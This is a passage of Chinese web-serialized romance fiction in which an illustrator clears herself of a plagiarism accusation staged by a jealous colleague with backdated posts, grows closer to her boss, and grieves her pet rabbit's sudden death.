她看向安逸,安逸从愣怔中回神,笑道:“你这个想法好啊!没少上网冲浪吧。这种设定很容易引起玩家的共鸣和调侃,也是一种出圈的好方法。” 得到认可,任舒晚莞尔一笑,松了口气。 接下来安逸又安排了近期任务,所有人先完成男性、女性体型的初稿,再集中讨论修改。 之后的日子变得忙碌起来。 画师这个职业很吃状态,任舒晚有灵感、状态好的时候能构思很多细节,但没状态时一天都在修修改改。 它不同于以往的稿子,是在有基础的情况下再去创新,背景故事都足够丰满,能挖掘的东西很多。 新的游戏新的门派,一切都很单薄,剧情故事都没完整,只能用寥寥几句的介绍来定调,很难。 在不断崩溃不断治愈中,任舒晚终于把初稿交了上去。 第二天美术组会议,所有画稿被统一展示出来,开始挨个门派讨论修改。 安逸平日看上去嘻嘻哈哈,性格率直,但到了工作上却无比严谨负责。 他对所有的稿件进行了点评,细致到服装上的暗纹都提出了意见,对于任舒晚这种经验少的画师非常受用,能迅速发现不足,还能被指点改正,简直是天上掉下来的好机会。 轮到任舒晚的稿子,没有什么大问题,安逸只是让她再修改一下服装,尽量更加鲜明,更加突出门派特点。 就在这时,骆珊忽然开口了,她歪头审视着任舒晚的稿子,缓缓道:“小任的武器设计的很精妙呢,一枚银针都那么独特精美。” 她夸得突如其来,任舒晚虽不解,但面上总要过得去,“骆老师过奖了。” 骆珊城府实在深,她没头没尾得夸赞任舒晚,着实让任舒晚心惊肉跳,谁知道她话里话外又在谋划些什么。 结果到了第二天,任舒晚就知道来龙去脉了。 一早她刚到公司就收到安逸的微信,让她立刻拿着自己的初稿去办公室。 安逸没说发生了什么,但任舒晚右眼皮跳得厉害,直觉一定出了什么大事。 她匆匆赶去安逸办公室,敲门而入,骆珊正坐在安逸面前。 任舒晚心脏一沉,“安总监,您找我?” 安逸微微点头,示意她坐下说,“小任,把你的初稿找出来看一下。” 任舒晚打开笔记本,滑动鼠标找到初稿,推到安逸面前,安逸点了点头,挑眉示意骆珊。 骆珊把平板打开,摆到笔记本旁边。 任舒晚不动声色地瞥了眼平板上的图,依稀看到也是一枚毫针的画稿,但犹豫距离和光线,并不能看到细节。 她心里已经有了大概的猜测,表情沉了一分。 安逸没说话,对着电脑和平板来回对比,片刻后把屏幕转向任舒晚的方向,“小任,你看一下这个稿子,跟你的稿子几乎一模一样。” 这下任舒晚看清楚了,那画稿中的毫针通体银白色,针柄处画得十分漂亮,云水纹缠绕交错至顶端,延伸出一块菱形的设计,镶嵌了一枚蓝色宝石。 而任舒晚的图稿中,同样采取了云水纹的设计,不过顶端不同,她的针柄顶端是两片翡翠竹叶。 任舒晚淡淡抬头,视线移到安逸脸上,平静道:“安总监,很像,但我没见过这个画稿。” 骆珊的声音从一侧不疾不徐传来,“这是一位独立画师两年前的作品,方便问一下,小任,你的作品是以前设计的吗?” 任舒晚沉默一瞬,目光坦荡,“不是,但我没有抄袭。” 第35章 第 35 章 我会一直等你 任舒晚问心无愧, 坦然道:“云水纹是传统装饰纹样,起源于商周云雷纹,常出现在玉器、青铜器上, 属于通用创意。” 她目光停在骆珊脸上, 一字一句道:“骆老师应该知道, 这只能说是创意撞车,不能鉴定为抄袭。我可以提供PSD等分层源文件证明自己的创作过程, 也可以拿出时间记录可以证明我的画稿时间。” 任舒晚这一刻很庆幸她的一些细心的习惯, 她所有的图稿,包括简单的草稿,都会保存下来发仅自己可见的朋友圈, 上面带着时间戳,如果一旦出现今天这样的局面, 这就是她的证据。 骆珊不疾不徐道:“我知道通用创意,那你能拿出线稿对比吗?笔触、结构、比例是骗不了人的。” 任舒晚毫不慌乱,颔首道:“我可以。” 安逸认可,“那小任,你把草稿、线稿、修改版本都发给我。” 任舒晚应了声, 当场从笔记本里调出图层源文件发给了安逸。 安逸:“你们两个先去忙, 有了消息我会通知你们。小任, 你不用着急画稿,先停一下等消息。” 任舒晚的工作被迫停摆, 她只能坐在工位上摸鱼。 消息很快在美术部小规模传播开, 陈月妍听闻, 便给任舒晚发来消息。 [我听说了,具体怎么回事?你有没有保留创作过程文件?] 任舒晚把来龙去脉讲给陈月妍,陈月妍听完, 发来一条语音消息,语气无比气愤,“她骆珊是新入行吗?创意趋同不懂?” 任舒晚打字安慰:[没事妍姐,她愿意怎么说就怎么说吧,我清楚我没有抄袭,不怕查,而且我把所有PSD都发给安总监了,我可以证明我的创作过程,我也相信公司不可能空口鉴抄。] 任舒晚嘴上这么说着,其实内心有些不安,骆珊既然敢指证,就说明她有把握,但任舒晚想不明白,她怎么有这份底气的?这背后一定还有她不知道的事情。 果然陈月妍也想到了这一点,她静下心问任舒晚,[我觉得不太对,除了纹样,骆珊还说别的了吗?] 任舒晚:[她没说别的,但我觉得她不会那么鲁莽,她不是蔡晓敏。] 陈月妍:[对,你要小心,骆珊没那么简单,她心机太深了。] 任舒晚明白,骆珊既然开这个口,就代表她还有后手,有能踩实她抄袭的证据,但任舒晚现在猜不到。她在明,敌人在暗,她无法先出手,只能被动进入防御状态,等待敌人的暗箭,等待敌人的破绽。 就在这时,手机再次震动打断她的思绪,她点开发现是年卡渣男发来的消息。 [订单到期了?] 嗯??? 任舒晚看了眼时间,才想起来今天早上还没骂他。 任舒晚:[你怎么上赶着找骂,笑死。] 年卡渣男:[我都习惯了,今天为什么没骂,有事?] 任舒晚:[太忙了,忘记了。] 年卡渣男:[在忙什么?] 任舒晚翻个白眼,无语打字,[跟你有什么关系,你挨骂就好了。] 总裁办公室,陆言知被怼了一句反而很开心,他发现任舒晚对他格外不一样,她认为账号背后是渣男,所以说话特别冲,但现实里她对他是很温和的。 [那你骂吧。] 任舒晚:[中午一起吧,别找我了,我看到你心情更差了。] 陆言知盯着屏幕,眉头蹙起,心情更差?是指原本就差,现在更差,为什么? 他划出微信,一个电话打到了安逸那里。 安逸本来打算等调查出结果再告诉陆言知的,但没想到陆言知消息那么灵敏。 他叹口气,老实的全盘托出,“不过现在还没下定论,小任不一定是抄袭。” 陆言知想都没想,“她不会抄袭。” “是,我也觉得不会。”安逸顿了顿,语气复杂,“可是现在看结构线稿,两幅画稿相似度很高,即便小任没有抄,也洗不清,实在太像了。” 陆言知冷声道:“发给我。” 安逸应了声,几十秒后陆言知微信收到画稿,他打眼一看便可以肯定任舒晚是清白的了。 那晚他送任舒晚回家,她的绘画本意外掉在他的车上,当时他看到了画本里的内容,是她设计的一款绣花针武器,样式极其精美,以至于他只是扫过一眼都能印象深刻。 而那款绣花针跟她这次设计的毫针非常相似,都采用了翡翠和纹样图案的设计。 思绪回拢,他对着手机淡淡道:“挂了,一会儿你会收到证据。” 他挂断电话,直接给任舒晚发去消息,[你的绘画本折页的那一页,有相似的设计,可以证明你没有抄袭。] 任舒晚收到消息时人都傻了,硬生生盯了屏幕半分钟才堪堪回神,紧接着就是无限的激动充斥在心底,她想起来了,她怎么忘了那幅稿子了! [陆总,你简直神了!!!!!] 她几乎疯了似的掏出包里的绘画本,匆匆翻阅,很快找到绣花针的设计稿。 那是她还在上大学时画得,当时去看了一场关于非遗苏绣的特展,由此产生的灵感。现在细细看来,她的灵感真是没什么变化,当时采用了云水纹,现在设计还是云水纹,还都用了翡翠点缀。 她看向页面下端的时间,是四年前,循着朋友圈去找,没多久便翻到当时画稿后储存的时间证据,她莞尔一笑,起身去找安逸。 敲门而入,安逸似乎一直在等待她,四目相对,他轻松道:“陆言知跟你说什么了,速度这么快。” 任舒晚扬了扬手里的绘画本,“安总监,我只想说,我确实没什么进步……” 她把绘画本和手机推到安逸面前,“时隔四年,居然画出差不多的东西,很惭愧了。” 安逸只是扫了一眼就惊呼道:“我靠,真一样。” 任舒晚不知道是该笑还是该哭,笑是因为她的清白回来了,哭是居然没什么进步!!! 安逸:“不过你毫针的线稿笔触结构跟那位画师的相似度很高,有些不可思议。” “没关系,你对比一下这个,应该跟我毫针的设计重合度更高。” 任舒晚把稿子发给安逸,片刻后,安逸盯着电脑感叹,“这就对了,这才看出真是你自己画的了。” 他把屏幕翻转给任舒晚看,两幅画稿透明度降得很低,重叠在一起后,别看是不同的武器,但结构笔触几乎完全重合。 任舒晚:“社死了,我的灵感居然停滞了!!” 安逸哈哈大笑,“没事,你往好处想,最起码它证明了你的清白,不至于被人诬陷抄袭了。” 任舒晚叹口气,幽幽道:“你说得很对,总监。” 安逸大手一挥,“你也别闲着了,快去干活,服装还没改完吧?细节还没深化吧?” 任舒晚连忙举手告饶,“收到总监,知道了,别催了,已经晕头转向了。” 出了安逸办公室,任舒晚收起情绪。虽然证明了她没有抄袭,但还是有些后怕,如果没有绣花针这幅稿件,她应该跳进黄河也洗不清了。 静下心来想,她有很多不明白的地方,首先她的笔触确实跟那位画师的极其相似。其次骆珊没有她的线稿,只凭图样她是怎么敢大胆鉴抄的? 除非……骆珊觉得能锤死她。 可是话又回来了,她怎么会觉得能锤死她呢?难道骆珊知道她们的笔触一定相似吗?不合理啊,这可不是单凭看能看出来的。 她带着这些谜团去网上搜索了那位独立画师,在画师个人社交平台找到了那幅稿子,发布时间确实是两年前。但她发现一个奇怪的问题,这位独立画师发布的作品很少,细数一下只有十几幅,最近一幅画稿是半个月前,画了一把伞的武器。 任舒晚挨个对比,发现这位画师的笔触、风格、用色习惯跟她真的很像,像到有些不可思议。 如果只是一项相似还能说是创意趋同,但什么都像就会觉得很假。 她一时间产生了一个巨大的阴谋论,她不敢确定,需要再找线索确认。 抄袭风波过去,安逸在美术部下了通知,证明了任舒晚的清白,而对于骆珊的空口鉴抄,虽然没什么处罚,但美术部的画师们也颇有微词,这次受害者不是她们,但保不齐有一天会落在她们身上。 晚上下班前,任舒晚抽空摸鱼给陆言知发消息,[陆总——陆总——] 陆言知回复极快,[我在。] 任舒晚:[晚上请你吃饭鸭!你想吃什么!尽管开口!] 陆言知:[这是感谢餐吗?] 任舒晚:[你也可以看作是对你的认可和表扬!] 陆言知笑出声来,他很喜欢她现在对他的态度,不把自己摆在员工的位置上,好像更像关系中的上位者。 陆言知:[那好,任老师的表扬餐可以吃鸡汤小丸子吗?] 任舒晚:[!!!你是我肚子里的蛔虫吗!你怎么知道我这几天很馋小丸子。] 陆言知:[我更愿意把这称之为默契。] 任舒晚微愣,默契…… 好暧昧的词语。 她耳廓微烫,抿唇打字,[那你下班等我。] 话发出去,她只觉脸颊也热起来了,好像这么说也很暧昧!!! 熬到下班时间,任舒晚磨蹭着收拾东西、打卡,直到公司没什么人,她才坐电梯下到负一层。 陆言知的车停在老位置,没有熄火,下了电梯就能听到沉闷的发动机声。 她加快步伐走出电梯间,四下看了眼确认无人,才一溜烟钻进副驾驶。 “陆总久等啦!” 陆言知正垂着头看手机,闻声淡淡抬眸,随手扔下手机,打趣道:“任老师的表扬餐难得,我还可以再等半小时。” 任舒晚扑哧一下笑出声,“那我下车,半小时后再来。” 陆言知勾唇,迅速启动车子,“怕是不行了。” 任舒晚:“那陆总的话有水分啊,刚刚还说能再等半小时呢。” “没有水分,只是经验告诉我,人需要抓住机遇。”他偏头看她,“你没来我会一直等,你来了再走,我会怕你不再来了。” 任舒晚:“那如果我答应你还会再来呢?” 他沉默一瞬,极为认真地回答道:“我会信你,也会等你,但怕不会消失。” 任舒晚心塌陷了一角。 “你不用怕,我会遵守承诺,如果没等到,那我一定是被什么事情绊住了,你去找我就好了。” “嗯。”他沉沉应了声,那双深邃的眼睛变得更加温柔,“好。” 任舒晚若有所思地垂下眸子,唇角勾起,淡淡地笑了笑,他的话她懂了—— 作者有话说:[求你了][求求你了]来晚了,抱歉宝宝们 第36章 第 36 章 发错了!! 任舒晚知道陆言知在等什么, 他在等她露出一点点心动,哪怕微小到很难让人察觉,她坚信他也会立刻抓住。 可她暂时没有办法表现出什么, 她不是对他没有好感, 只是并不勇敢, 她不确定他这份爱是否足够深足够远,经不经得起时间变化, 如果不能, 那现在就是最好的结局。 车子停在任舒晚家楼下的老位置,两人下车散步往美食街走。 陆言知微微偏头看她,问道:“你有没有仔细看那位独立画师的稿子?” 任舒晚微怔, 意外他会主动提起这件事,“我看过了。” “发现什么了?” 话一出, 任舒晚就明白他也发现了不对劲,她顿了顿,半开玩笑道:“陆总现在是以什么身份在跟我讨论这件事?” 陆言知轻笑一声,反问道:“怎么?” 任舒晚:“你的身份取决于我该怎么回答。” “朋友,不是上司。” “那我可说咯?”任舒晚眨眼看他, 他微微歪头, 一副洗耳恭听的模样。 “我觉得有点怪, 我看了这位画师的所有画稿,他的笔触、风格、用色习惯跟我非常非常像, 这么像很奇怪啊, 世界上哪会有两个不相干的人习惯、想法那么相似, 怎么想都觉得不合理。” 陆言知微微颔首,“我也发现了,仅凭感官视觉来看, 我会认为你们在互相模仿。” 他说完,任舒晚后背一凉,所以不是她的错觉,是真的有问题,陆言知也察觉出来了。 “可我不认识他。”她看向陆言知,盈润的黑眸坚定无比,“你相信我吗?” “我相信你。”他毫不掩饰的和她对视,神色认真,“我自始至终都相信你。” “往阴暗面推测,他在模仿你。”他声音缓慢低沉,却如一道惊雷在任舒晚耳边炸开。 “他为什么模仿我?他是谁?他最早一幅作品是三年前,三年前我还在读大学,有谁会去莫名其妙模仿我的习惯,我又不是什么优秀的画师。” 任舒晚觉得脑子里乱糟糟的,完全没有头绪,她不明白这个人图什么,这么做有什么用? 陆言知的声音像深沉浑厚的大提琴,奏出的音符温暖可靠,将她焦虑的情绪一一抚平,“你冷静,我们慢慢去推测。如你所说,三年前你在读大学,我们假设这个人是你同学或朋友,他这么做的动机是什么?” 任舒晚深吸一口气,静下心道:“似乎没什么动机,他如果打算以此陷害我,早就做了,不会等到三年后的今天才冒出来。而且他最新发布的作品是半个月前,说明他一直在运营这个账号,时隔三年还在模仿我。” 陆言知微笑颔首,他说过她很聪明,确实很聪明。 “那这个人是你同学或朋友就不太成立了。” 任舒晚垂眸陷入沉思,“可是是别人就说不通了。” 陆言知淡淡道:“我问你一个问题,你看到的时间一定是真实的吗?” “什么?”这个问题超出了任舒晚的认知,“时间怎么会不真实?” 陆言知:“有些时间不一定真实,比如你看到的发布时间,它可以通过修改网页源码的显示时间来改变。” 任舒晚露出惊讶的神色,“所以我看到的时间可能是假的,对吗?” 任舒晚从来没想过,她并不了解代码背后的世界,她先入为主的认为这些都是无法改变的东西,所以才怎么都捋不顺背后的逻辑。 任舒晚:“但现在只是猜测,我们怎么能确定有没有修改过呢?” “任老师可以求助我。”他勾唇,笑得人畜无害。 “原来陆总项庄舞剑,意在沛公啊。” 任舒晚的心情被他一句话缓和,她盯着他,一字一顿道:“那我求助陆总,陆总该不会狮子大开口吧?” “那得看任老师求助什么,怎么求助了。”他眼中含笑,明明就一副口是心非,打算讹人的样子。 任舒晚一扭头,大步往店门口走,声音遥遥,“那算了,我可以求助洋哥,洋哥可不会漫天要价,如此贪心。” “洋哥?” 声音刚落下,任舒晚身边便出现了他的身影,任舒晚一愣,下意识低头看他的腿,“腿比我长那么多吗!我走五步,你怎么两步就追上了??” 陆言知没接她这句,反问道:“谁是洋哥?” 对上他如临大敌的表情,任舒晚再也忍不住笑出声,“洋哥啊!就是洋哥。” 陆言知眉头紧蹙,脸色阴沉下来,邓嘉霖还虎视眈眈,又来了个莫名其妙的洋哥。 任舒晚盯着他抿紧的唇瓣,终于大发慈悲地开了口,“洋哥是程序组的石洋!” 陆言知紧张的神情瞬间消失,取而代之的是无奈,他知道被她戏弄了,但他丝毫不生气,反而还无比受用。 “石洋很忙,你找他说不定需要预约时间呢。” 他睁着眼睛说瞎话的本事一点不输任舒晚。 任舒晚瞪他一眼,“难道陆总不应该更忙吗?” 陆言知唇角勾起上扬的弧度,“如果是你求助,我就不忙了,时间都可以自由调配,并且我能熬夜加班,石洋不行,他妻子很在乎他身体健康的。” 任舒晚想也不想,道:“你的身体健康不重要?” 话音落,两人陷入短暂沉默,任舒晚意识到说了什么为时已晚,匆匆往店门口走,头也不回,徒留陆言知在原地,反复咀嚼她话中的甜。 正值饭点,鸡汤小丸子店里坐了不少顾客,任舒晚挑了靠墙的座位,刚坐下,陆言知紧随其后跟了进来,她看了他一眼,耳朵又一阵发烫。 恨恨恨! 怎么就说秃噜嘴了呢! 老板从后厨探出脑袋,问道:“两位吃什么?” 任舒晚:“招牌鸡汤小丸子。” 陆言知迅速跟言,“老板,两份招牌鸡汤小丸子,一起的。” 老板应下又钻进了后厨。 两人面对面而坐,任舒晚偷瞄了他一眼,他似乎没什么异常,表情平静。 任舒晚踌躇着该如何挑起话头,陆言知却先开口了,他道:“等我查到有没有修改再告诉你。” 任舒晚松了口气,眨眨眼,“哦,好,谢谢陆总。” 她沉默一瞬,又想到什么,缓声道:“其实也不着急,反正已经证明我没抄袭,慢慢查就可以了。” “嗯。”陆言知垂眸应了声。 任舒晚瞧了他一眼,“熬夜加班对身体不好。” 陆言知勾唇,“嗯,知道了。” “小丸子来咯——” 两碗小丸子被摆在桌子中间,热腾腾的雾气飘飏,缭绕在视线中。任舒晚透过白雾去看对面的陆言知,他无所察觉,手中动作不停,将其中一碗推到她面前,又细心地拿了筷子和勺子放在碗上。 陆言知:“吃吧,一会儿凉了。” 任舒晚低头,面前已经摆好,就待她开动。奶白的汤底香气扑鼻,飘着的菠菜叶翠绿,和汤底形成鲜明的颜色对比。 又忘记告诉老板不要菠菜了。 不过也无伤大雅,只好浪费两根菜叶了,她拿起筷子刚要把菠菜拨到一边,眼前忽然出现另一个碗。 陆言知把自己的碗推到她面前,等着她的菠菜降临。 她抬眸看他,他表情无恙,平淡到像无关紧要的小事一样。 任舒晚垂下脑袋,夹起两根菠菜送进他的碗里,他勾唇,心满意足。 — 两天后,周末,任舒晚睡到自然醒,从床上爬起来时窗外阳光明媚,微风不燥。 她开了窗户透气,顺便拿起手机完成今天的代骂工作。 随着和年卡老板相处久了,她发现对方一个奇怪的现象,比如周末她没能准时早上反馈,对方也不会催,但工作日就不同了,她偶尔忘记,年卡老板就会询问情况。 包括年卡渣男也是,周末他从来不上赶着来找骂,一旦是工作日忘骂了,他必得凑上来问原因,被她怼了也满不在乎。 她思索着,得出的答案是他们周末也要睡懒觉。 切到微信小号,点开年卡渣男的聊天框,重拳出击。 [小丑的出场总是千奇百怪,小丑的退场总是相同姿态,小丑的失败总是毫无意外,小丑的传承总是千秋万代,小丑的回答总是还会再爱,小丑的下次总是一样失败。没错,你就是那个小丑。] [骂你那么久了,我也发现了,你应该是第一次当人,完全避开了人该有的特征,长得人模人样,干着初升的勾当。] [你真是个天才,天生的蠢材。] 年卡渣男:[1。] 任舒晚想笑,不知道从哪天起,只要她骂完,对面肯定会回复1表示收到。 任舒晚:[再见,剩下的中午骂。] 她截图切到咸鱼给年卡老板反馈,打字的工夫,通知栏再次弹出,年卡渣男给她发了张图片,她没立即点开,等跟年卡老板反馈完才切回去。 但看到的只剩系统消息:[“年卡渣男”撤回了一条消息。] 任舒晚:[???你发的什么?] 年卡渣男:[发错了。] 陆言知揉了揉眉心,他误把调查结果用私人微信发了过去,幸好撤回够快,目前看任舒晚的反应,应该是没有看到。 发错了? 任舒晚不以为意的关掉小号,转头去下单外卖。看了一圈,点了份米粉,点了杯奶茶。 这时,她忽然收到陆言知的消息,对方一连发来四五张图片,她挨个打开查看,前几张是复杂的代码,她看不懂,后几张是拼接的图,是那位画师画稿真正发布的时间和修改后的时间。 他们猜对了—— 作者有话说:[眼镜]掉马加载中ing~ 第37章 第 37 章 抱歉,元宝 通过陆言知发到截图来看, 这个所谓的独立画师一个月前发布了第一张画稿,之后在半个月的时间内陆续发了剩下的十几张,然后把时间改成了不同的年月份, 营造出了长达三年的时间线, 用此来诬陷任舒晚抄袭。 一个月前就是任舒晚刚加入《剑指江湖》项目组没多久, 而那张陷害她的毫针画稿是在项目组美术会议后的当天晚上发布的,也就是说对方在看了任舒晚的画稿后, 模仿了这幅相似的作品。 任舒晚心里已经有了答案, 如果没猜错的话,只能是她。 计划足够缜密,手段也足够肮脏, 不过可惜的是,人算不如天算, 骆珊怎么也不会想到任舒晚四年没什么进步,且有个人记她画稿记得非常清晰。 如果没有这两个巧合,骆珊真就得手了。 任舒晚回拢思绪,打字道:[谢谢陆总,我收到了, 看懂了。] 她有了时间证据, 下面就是核查凶手, 找到凶手作案的证据,想办法把凶手绳之以法。 陆言知回了个“好”字。 他一点不担心她, 她机灵、聪敏, 完全可以游刃有余处理这件事, 他只需要在她迷茫或需要帮助时伸出援手,其他时间,他甘愿做她背后坚实的后盾。 任舒晚收起手机陷入沉思, 目前她只是猜测对方时骆珊,没有实质性的证据,而想拿到证据也不是简单的事。 她思忖片刻,一个计划在心中生成,她想要先去试探一下骆珊,看她会说什么。 — 开启新一周的忙碌,《剑指江湖》的开发如火如荼进行着,门派角色修改稿通过,开始陆续跟动画组交接。随之而来的就是新任务下达——绘画各地图场景。 这是个大活,画师们接到任务闷头就是干,任舒晚也不例外,忙得一上午喝水都得抽空,跑厕所都得憋半小时起步。 好不容易熬到午休,任舒晚提着外卖去茶水间找祝笙集合,刚进楼梯间就遇到走在她前面的骆珊。 真是得来全不费工夫。 她掏出手机打开录音,自上次蔡晓敏时间后,她跟着祝笙长了心眼,遇事先录音、视频。 熄掉手机屏,她加快步伐追了上去,语气轻松,“骆老师,去吃饭啊?” 骆珊闻声停住步子,偏头看向她,面色平静,“小任也去吃饭啊。” 任舒晚扬扬手里的外卖,“点了麻辣烫,骆老师吃什么?” 骆珊微笑道:“我减脂期,自己做的蔬菜包。” 两人同步迈着楼梯台阶,任舒晚不着痕迹地看了眼她,故作沉吟道:“骆老师,有件事我一直很好奇,想当面问您。” 骆珊微微颔首,“你说,什么事?” “您举报我抄袭那件事,您明知道大概率只是创意撞车,为什么还要举报我呢?”说完,任舒晚浅笑看向骆珊,目光难掩锐利,上下打量着她的表情变化。 空气停滞片刻,骆珊忽然停住了步伐,她偏头看向任舒晚,“你发现了吧。” 任舒晚没说话,静静与她对视,等待她继续说下去。 “在这件事没有成功后我就知道早晚有一天会败露,说实话,与其担惊受怕下去,我甚至希望你快点发现。” 骆珊笑了笑,神色有些凄凉,“你真优秀啊,毕业短短两年就能升到中级,画稿有灵性,创意又新颖,这就是网络上她们说得天赋型选手吧?我真嫉妒你啊,有时候真恨为什么不是我。” 任舒晚:“你何必嫉妒我,我不会影响你晋升得。” 骆珊苦涩地勾起唇角,“真实白玉不自知洁,幽兰不自知香,你非池中物,早晚的事,与其到时候和你同台竞技,不如趁你还没势力早点解决。” “可惜蔡晓敏笨得出奇,只能我自己动手。你运气也是好,我谋划那么久,你轻而易举拿出旧稿子就能翻盘。” 骆珊越说表情越扭曲,“我学你的笔触,学你的习惯,想方设法,就是没能扳倒你。” 任舒晚看着眼前的人,只觉人性恐怖至极。 她以为骆珊最初针对她是因为陈月妍的缘故,没想到她早已经成为骆珊的眼中钉,肉中刺了。 骆珊长舒一口气,“说出来的感觉真好。” 任舒晚抿唇看她,没有一丝怜悯,“我会跟公司揭露你做的事。” 骆珊自嘲地笑了笑,“我想到最坏的结果了,我接受。” 任舒晚没再和她纠缠下去,得到答案就可以了,至于其他的,她不想说教,也不想劝她向善。人本身就是不同的,她选择什么是她的自由,时间会让她为自己做的恶事付出报应的,到那时候,什么结果都是她应得的。 任舒晚把录音交给了安逸,安逸处理的很快,当天就找了骆珊,拿到了她模仿的那些线稿,也看到了她手机上登录的那位所谓独立画师的账号,人证物证都在。 最终骆珊被公司辞退,至此,这件事终于画上了句号。 — 生活再次回归平淡,任舒晚每天过着两点一线的日子,忙起来偶尔加个班,倒也还算轻松。 除此之外,也有个好消息到来,她的新房终于要交房了。 收到交房通知后她欣喜若狂,连忙去网上查交房经验贴和避雷贴,顺便听劝的找了验房师。 交房第二天正是周末,她带着准备好的资料和验房师直奔小区物处,核对好文件后她直接和验房师先去验房。 零零碎碎忙了一下午,好在房子没什么大问题,签了验收交接表,补交了面积差款,顺利拿到房子的钥匙。 回到出租屋已经天色渐黑,她疲倦地脱掉外套,换上拖鞋,黑着灯往屋里走。 “元宝,元宝。” 自元宝绝育后,多数时间都是放养状态,平日任舒晚下班回家一喊,元宝立刻蹦跶着来找她,谁知今天喊了好几声都没反应。 她蹙眉摸索着开了灯,想看它是不是又在哪里作妖,谁成想看到的却是瘫在兔笼前的身影。 任舒晚吓了一跳,忙上前查看,只见元宝侧躺在地板上,呼吸急促,嘴巴微张,身体随着呼吸不断颤抖。 她从来没见过元宝这个样子,一下子慌了神,忙去抱它,“元宝,元宝。” 对于她的呼喊,元宝没有做出任何反应,只是大口喘着气,她不敢耽搁,慌张抱起它往门外跑。 异宠医院离她家有些远,此时又是高峰期,出租车在高架上停停走走,半天也不见动弹。 任舒晚看着窗外的车流,乞求道:“师傅,能不能快点?” 师傅透过后视镜看向她焦急的脸,艰难应了声,努力在车流里穿梭,奈何实在走不动。 怀里的元宝越来越沉,越来越热,呼吸也变得微弱起来,任舒晚积蓄在眼里的泪再也忍不住,她放声大哭起来,她不知道元宝怎么了,她很怕,甚至有种不好的预感。 师傅见状,找了个高架口开下去,道:“姑娘,你一会儿拦个电动车或者摩托车,看他们能不能送你过去,开车实在太堵了,这么耗下去不是办法。” 任舒晚满脸泪水,匆匆点头。 车子驶下高架,师傅找了个路边停车,跟着她一起下了车。 正值人流高峰期,非机动车上满是行驶的电动车,任舒晚胡乱擦掉脸上的泪,顾不上危险,伸手去拦车。 司机师傅也好心,跟着她一起找人帮忙。 恰好这时一位年轻女孩骑车经过,骑远后又停下倒回来询问情况。 任舒晚抱着元宝,央求道:“拜托能不能送我去挚友异宠医院,我的兔子很严重。” 女孩低头看了眼她怀里奄奄一息的兔子,不假思索道:“你坐上来,我带你去。” “谢谢,谢谢。” 电动车的后座空间很小,任舒晚抱着元宝紧贴着女孩的后背,女孩能听到她的抽泣声,出声安慰道:“没事的姐姐,很快就到了,你别担心,你的兔子不会有事的。” 任舒晚应着,眼泪如断线的珍珠,一颗一颗砸下来,她手不停地摇着元宝,它似乎很累了,总是闭上眼睛,任舒晚不想它睡着,她怕它再也醒不过来。 十五分钟后,电动车停到异宠医院门口,任舒晚顾不上道谢,抱着元宝就往里跑。 “医生,救救我的兔子。” 前台小姐姐立刻迎了过来,看了眼元宝,接过来就往诊室跑。 苏医生正准备去吃饭,被突如其来撞开门后愣了一下,然而当看到元宝后,她脸色瞬间沉了下来,立刻吩咐身边的医助急救。 任舒晚愣愣看着她们抱着元宝进了手术室。 她像泄了气的皮球,一屁股坐在了地上,满脸泪水,止也止不住。 前台小姐姐拍着她后背,安慰道:“别担心,已经抢救了。你去休息室坐一会儿吧?” 任舒晚摇摇头,声音沙哑,“谢谢,我在这等着。” 半小时后,医助从手术室出来,任舒晚不顾一切地冲上前,“怎么样医生?” 医助面色凝重,递上病危通知书,“兔妈妈,元宝是突发急性肺水肿,目前已经抢救过来,但情况不是很好,在ICU。” 听到抢救过来,任舒晚松了口气,她颤颤巍巍接下病危通知书签字,“谢谢,我能看看它吗?” “稍等。” 医助回了手术室,片刻后领着她从另外一个门进去。 这是一间小房子,里面有很多小笼子,其中有几间住了小动物。 元宝被安置在其中一间笼子里,它虚弱地躺着,耳朵上扎着输液针,胸口绑着仪器,睡得很沉。 苏医生摘下口罩,“情况还算稳定,要看能不能熬过今晚。” 任舒晚眼泪顺着脸颊落下,心脏像被一双大手紧紧攥着,喘不过气。 她一动不动盯着元宝,声音微弱,“谢谢您苏医生。” 苏医生拍了拍她,“这里不能久待,你去休息室等吧。” 出了ICU,任舒晚想起带她来的女孩,便出门去寻,但人已经离开了,她连句感谢都没能说。 回到休息室,等了半个小时,医助突然敲门而入,焦急道:“兔妈妈,情况不好,元宝白肺了,出现了心脏衰竭。” 任舒晚猛地站起身,眼前一黑,堪堪扶着沙发才站稳。 医助连忙搀住她,“苏医生正在尽力抢救,你要做好心理准备。” 任舒晚已经做了最坏的打算,但真实听到这个结果时还是无法接受,她无法接受元宝的离开,无法想,也不敢想。 又等了十几分钟,苏医生从手术室出来,摇着头抱歉道:“元宝妈妈,元宝没能抢救过来,抱歉。”—— 作者有话说:希望世界上所有毛孩子都能健健康康[求你了][求求你了] 第38章 第 38 章 睡颜 任舒晚掀开白布看到躺在病床上的元宝, 它像睡着了一样,眼睛闭得紧紧的,怎么都睁不开。 她伸手去摸它, 毛发还是那么柔软, 只是没了熟悉的温热感, 触手生凉,冰的像寒冬腊月的雪。 苏医生拍了拍她的肩膀, 歉疚道:“没能留下元宝, 我很抱歉。” 任舒晚摇了摇头,“我已经很感谢您了,生命无常, 它能陪我这段时间,我很开心。” 苏医生:“你想怎么安葬它?需要我帮忙吗?” 任舒晚默了默, “我想带它回家。” “好。”苏医生点了点头,“你自己可以吗?让你朋友来接你吧。” 任舒晚艰难地扯了扯嘴角,“我没事的苏医生,谢谢你的好意。” 她嘴上那么说着,但苏医生能看出她很不好, 她魂不守舍, 眼睛哭得又红又肿, 整个人像经历了一场巨大的灾难,勉强靠着意识支撑下来。 苏医生实在不放心, 试探道:“你和陆言知是朋友吧?让他来接你?” 陆言知…… 熟悉的名字出现在耳边, 任舒晚恍然抬头, 压抑在心底的情绪像找到突破口,一涌而上,瞬间化为泪水盈在眼眶中。 苏医生非常理解她现在的心情, 但她们毕竟只是陌生的关系,她有再多的难过也不会说出来,但如果有朋友或家人陪在身边,听她倾诉心里的痛,会缓解不少。 “我打给他,你等一会儿?”苏医生温柔询问。 沉默片刻,任舒晚低下头,眼泪顺势滑落,“谢谢,如果他方便的话,请你让他来接我吧。” 苏医生离开诊室去打电话,医助用毛毯把元宝的尸体包了起来,又找了个漂亮的兔包,小心翼翼将它放了进去。 任舒晚抱着元宝蜷缩在休息室的沙发上,怀里很软很热,但她心里空空荡荡,又冷又冰,明明已过了冬季,天气转暖,为什么还是手脚冰凉,浑身发抖。 她收紧手臂,把元宝又往怀里抱了抱,它应该也冷吧,去兔星的路不知道长不长。 